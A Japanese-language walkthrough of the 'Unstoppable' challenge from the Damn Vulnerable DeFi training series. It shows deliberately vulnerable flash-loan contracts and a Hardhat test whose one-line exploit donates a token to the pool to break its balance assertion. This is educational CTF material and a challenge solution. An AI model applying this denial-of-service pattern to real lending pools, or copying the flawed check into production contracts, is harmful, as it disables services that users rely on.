moon

moon

Build for builders on blockchain
github
twitter

Defiハッカーシリーズ:Damn Vulnerable DeFi (一) - Unstoppable

ダム脆弱な DeFi は、DeFi スマートコントラクト攻撃チャレンジシリーズです。内容には、フラッシュローン攻撃、貸出プール、オンチェーンオラクルなどが含まれています。始める前に、Solidity および JavaScript に関するスキルが必要です。各問題に対して、あなたがするべきことは、その問題のユニットテストが通過することを保証することです。

まず、以下のコマンドを実行してください。

# リポジトリをクローン
git clone https://github.com/tinchoabbate/damn-vulnerable-defi.git
# ブランチを切り替え
git checkout v2.2.0
# 依存関係をインストール
yarn

test フォルダ内の *.challenge.js にあなたの解決策を記述し、その後 yarn run [チャレンジ名] を実行します。エラーがなければ通過です。

まず、最初の問題「Unstoppable」を始めましょう。

問題の説明:

残高が 100 万 DVT トークンの貸出プールがあり、フラッシュローン機能を無料で提供しています。この貸出プールを攻撃し、その機能を無効にする方法が必要です。

この問題のスマートコントラクトは、2 つのファイルから構成されています。

UnstoppableLender.sol 貸出プールコントラクト

contract UnstoppableLender is ReentrancyGuard {
    IERC20 public immutable damnValuableToken; // DVT トークンインスタンス
    uint256 public poolBalance; // 現在のコントラクト内の DVT 残高

    constructor(address tokenAddress) {
        require(tokenAddress != address(0), "トークンアドレスはゼロであってはならない");
        // DVT トークンアドレスからコントラクトインスタンスを作成
        damnValuableToken = IERC20(tokenAddress);
    }

    // トークンをこのコントラクトに預け入れる
    function depositTokens(uint256 amount) external nonReentrant {
        require(amount > 0, "少なくとも1トークンを預け入れる必要があります");
        // DVT トークンのスマートコントラクトの transferFrom メソッドを呼び出す
        // コントラクト呼び出し者の DVT 残高から amount 数量をこのコントラクトに転送
        damnValuableToken.transferFrom(msg.sender, address(this), amount);
        // 残高を増加させる
        poolBalance = poolBalance + amount;
    }
    
    // 提供されるフラッシュローンメソッド
    function flashLoan(uint256 borrowAmount) external nonReentrant {
        require(borrowAmount > 0, "少なくとも1トークンを借りる必要があります");

        // このコントラクト内のトークン残高を取得
        uint256 balanceBefore = damnValuableToken.balanceOf(address(this));
        // 残高が借りた数量以上であることを確認
        require(balanceBefore >= borrowAmount, "プール内のトークンが足りません");

        // 記録された残高が実際の残高と等しいことを確認
        assert(poolBalance == balanceBefore);

        // トークンをコントラクト呼び出し者に転送
        damnValuableToken.transfer(msg.sender, borrowAmount);

        // コントラクト呼び出し者の receiveTokens メソッドを実行
        IReceiver(msg.sender).receiveTokens(address(damnValuableToken), borrowAmount);

        // トークンが返却されたことを確認
        uint256 balanceAfter = damnValuableToken.balanceOf(address(this));
        require(balanceAfter >= balanceBefore, "フラッシュローンが返済されていません");
    }
}

ReceiverUnstoppable.sol フラッシュローンを実行するコントラクト

import "../unstoppable/UnstoppableLender.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";

contract ReceiverUnstoppable {
    UnstoppableLender private immutable pool; // 貸出プールインスタンス
    address private immutable owner;

    constructor(address poolAddress) {
        pool = UnstoppableLender(poolAddress);
        owner = msg.sender;
    }

    // プールはフラッシュローン中にこの関数を呼び出します
    function receiveTokens(address tokenAddress, uint256 amount) external {
        // このメソッドの呼び出し者がプールアドレスであることを確認
        require(msg.sender == address(pool), "送信者はプールでなければならない");
        // トークンを msg.sender に返却
        require(IERC20(tokenAddress).transfer(msg.sender, amount), "トークンの転送に失敗しました");
    }

    // フラッシュローンを実行
    function executeFlashLoan(uint256 amount) external {
        require(msg.sender == owner, "オーナーのみがフラッシュローンを実行できます");
        pool.flashLoan(amount);
    }
}

スマートコントラクトは非常にシンプルで、貸出プールのコントラクトがあり、そこにトークンを預け入れることができ、フラッシュローン機能を提供しています。また、フラッシュローン機能を実行するコントラクトがあり、これが貸出プールコントラクトの flashLoan メソッドを呼び出してトークンを借り、コールバックメソッドで借りたトークンを返却します。

貸出プールの機能を無効にするためには、test/unstoppable/unstoppable.challenge.js ファイルに攻撃コードを記述する必要があります。

const { ethers } = require('hardhat')
const { expect } = require('chai')

describe('[Challenge] Unstoppable', function () {
  let deployer, attacker, someUser

  // プールには 1M * 10**18 トークンがあります
  const TOKENS_IN_POOL = ethers.utils.parseEther('1000000')
  const INITIAL_ATTACKER_TOKEN_BALANCE = ethers.utils.parseEther('100')

  before(async function () {
    /** シナリオのセットアップ - ここを変更する必要はありません */
		
    // 3つのアカウントを生成
    [deployer, attacker, someUser] = await ethers.getSigners()
    
    // トークンコントラクトと貸出プールコントラクトを取得
    // トークンコントラクトは contracts/DamnValuableToken.sol にあり、コンストラクタで deployer に type(uint256).max のトークンを与えます
    const DamnValuableTokenFactory = await ethers.getContractFactory('DamnValuableToken', deployer)
    const UnstoppableLenderFactory = await ethers.getContractFactory('UnstoppableLender', deployer)
    
    // ローカルノードにトークンコントラクトと貸出プールコントラクトをデプロイ
    this.token = await DamnValuableTokenFactory.deploy()
    this.pool = await UnstoppableLenderFactory.deploy(this.token.address)
    
    // deployer が貸出プールコントラクトに TOKENS_IN_POOL 数量のトークンを操作できるように承認
    await this.token.approve(this.pool.address, TOKENS_IN_POOL)
    // deployer の TOKENS_IN_POOL 数量のトークンを貸出プールに転入
    await this.pool.depositTokens(TOKENS_IN_POOL)
    
    // deployer の INITIAL_ATTACKER_TOKEN_BALANCE 数量のトークンを attacker アドレスに転入
    await this.token.transfer(attacker.address, INITIAL_ATTACKER_TOKEN_BALANCE)
    
    // アサーション:貸出プールにトークンが正しく転入されたことを確認
    expect(
      await this.token.balanceOf(this.pool.address)
    ).to.equal(TOKENS_IN_POOL)
    
    // アサーション:attacker アドレスにトークンが正しく転入されたことを確認
    expect(
      await this.token.balanceOf(attacker.address)
    ).to.equal(INITIAL_ATTACKER_TOKEN_BALANCE)

    // フラッシュローンを実行するコントラクトを取得
    const ReceiverContractFactory = await ethers.getContractFactory('ReceiverUnstoppable', someUser)
    // コントラクトをデプロイ
    this.receiverContract = await ReceiverContractFactory.deploy(this.pool.address)
    // someUser がコントラクトの executeFlashLoan メソッドを実行し、10 トークンを借りて返却
    await this.receiverContract.executeFlashLoan(10)
  })

  it('Exploit', async function () {
    /** ここにあなたの攻撃コードを記述 */
    // attacker のアカウントから 1 トークンを貸出プールに転送
    // このコードが攻撃を完了します
    await this.token.connect(attacker).transfer(this.pool.address, 1)
  })

  after(async function () {
    /** 成功条件 */

    // もはやフラッシュローンを実行することはできません
    await expect(
      this.receiverContract.executeFlashLoan(10)
    ).to.be.reverted
  })
})

このテストスクリプトは主に以下のことを行います。

  • deployer から 1000000 トークンを貸出プールに転入
  • deployer から 100 トークンを attacker アドレスに転入
  • someUser がフラッシュローンで 10 トークンを借りて返却
  • attacker から 1 トークンを貸出プールに転入
  • 再度フラッシュローンを実行するとエラーが発生

なぜ以下のコードを実行するとフラッシュローン機能が無効になるのでしょうか。

await this.token.connect(attacker).transfer(this.pool.address, 1)

理由は、貸出プールコントラクトの flashloan メソッド内の assert(poolBalance == balanceBefore); が、poolBalance の値が実際の残高と等しいことを期待しているからです。 depositTokens でトークンを預け入れると、poolBalance 変数は正しく計算されます。しかし、手動でトークンを転入すると、poolBalance 変数は期待通りに加算されません。そのため、貸出プールコントラクト内のトークンの実際の残高は poolBalance よりも大きくなり、フラッシュローン機能が無効になります。

最後に yarn unstoppable を実行し、テストが通過します!

完全なコード

読み込み中...
文章は、創作者によって署名され、ブロックチェーンに安全に保存されています。